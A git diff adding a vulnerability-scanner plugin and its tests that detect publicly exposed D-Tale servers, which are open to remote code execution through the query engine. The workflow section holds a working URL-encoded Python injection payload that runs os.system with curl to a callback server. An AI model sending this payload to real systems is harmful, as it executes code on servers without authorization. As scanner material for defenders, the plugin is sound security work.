diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto
new file mode 100644
index 000000000..7df7a2e4b
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto
@@ -0,0 +1,133 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+ type: VULN_DETECTION
+ name: "Dtale_ExposedUI"
+ author: "VickyTheViking"
+ version: "1.0"
+}
+
+finding: {
+ main_id: {
+ publisher: "GOOGLE"
+ value: "DTALE_EXPOSED_UI"
+ }
+ severity: CRITICAL
+ title: "Remote code execution affecting Dtale"
+ description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server, this is because D-Tale has a query engine and the query engine allow to run python scripts by design."
+ recommendation: "You can change the query engine or Enable Authentication in the application to prevent unauthorized access. Check out this link for more information: https://github.com/man-group/dtale/blob/master/docs/CONFIGURATION.md"
+}
+
+config: {}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+ name: "fingerprint_dtale"
+ http_request: {
+ method: GET
+ uri: "/dtale/popup/upload"
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: [
+ { body: {} contains: '' },
+ { body: {} contains: "" }
+ ]
+ }
+ }
+ }
+}
+
+actions: {
+ name: "create_sample_table"
+ http_request: {
+ method: POST
+ uri: "/dtale/upload"
+ headers: [
+ { name: "Content-Type" value: "multipart/form-data; boundary=-" }
+ ]
+ data: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n'
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: [
+ { body: {} contains: "\"success\":" }
+ ]
+ }
+ extract_all: {
+ patterns: [
+ {
+ from_body: {}
+ regexp: "\"data_id\":\"([0-9_]+)\""
+ variable_name: "dataid"
+ }
+ ]
+ }
+ }
+ }
+}
+
+actions: {
+ name: "trigger_code_execution"
+ http_request: {
+ method: GET
+ uri: "/dtale/chart-data/{{ dataid }}?query={{ payload }}"
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: [
+ { body: {} contains: "\"error\":\"" }
+ ]
+ }
+ }
+ }
+ cleanup_actions: ["cleanup_sample_table"]
+}
+
+actions: {
+ name: "cleanup_sample_table"
+ http_request: {
+ method: GET
+ uri: "/dtale/cleanup-datasets?dataIds={{ dataid }}"
+ response: {
+ http_status: 200
+ }
+ }
+}
+
+actions: {
+ name: "sleep"
+ utility: { sleep: { duration_ms: 1000 } }
+}
+
+actions: {
+ name: "check_callback_server_logs"
+ callback_server: { action_type: CHECK }
+}
+
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+ variables: [
+ { name: "payload" value: "%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" }
+ ]
+ condition: REQUIRES_CALLBACK_SERVER
+ actions: [
+ "fingerprint_dtale",
+ "create_sample_table",
+ "trigger_code_execution",
+ "sleep",
+ "check_callback_server_logs"
+ ]
+}
diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto
new file mode 100644
index 000000000..b5dff29cc
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto
@@ -0,0 +1,84 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+ tested_plugin: "Dtale_ExposedUI"
+}
+
+tests: {
+ name: "whenVulnerable_returnsTrue"
+ expect_vulnerability: true
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/dtale/popup/upload"
+ status: 200
+ body_content: ''
+ ""
+ },
+ {
+ uri: "/dtale/upload"
+ status: 200
+ body_content: '{"data_id":"112233","success":true}'
+ condition: {
+ headers: [
+ { name: "Content-Type" value: "multipart/form-data; boundary=-" }
+ ]
+ body_content: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n'
+ }
+ },
+ {
+ uri: "/dtale/chart-data/112233?query={{ payload }}"
+ status: 200
+ body_content: "\"error\":\""
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenNoCallback_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/dtale/popup/upload"
+ status: 200
+ body_content: ''
+ ""
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenNotDocsGPT_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "TSUNAMI_MAGIC_ANY_URI"
+ status: 200
+ body_content: "Hello world"
+ }
+ ]
+ }
+}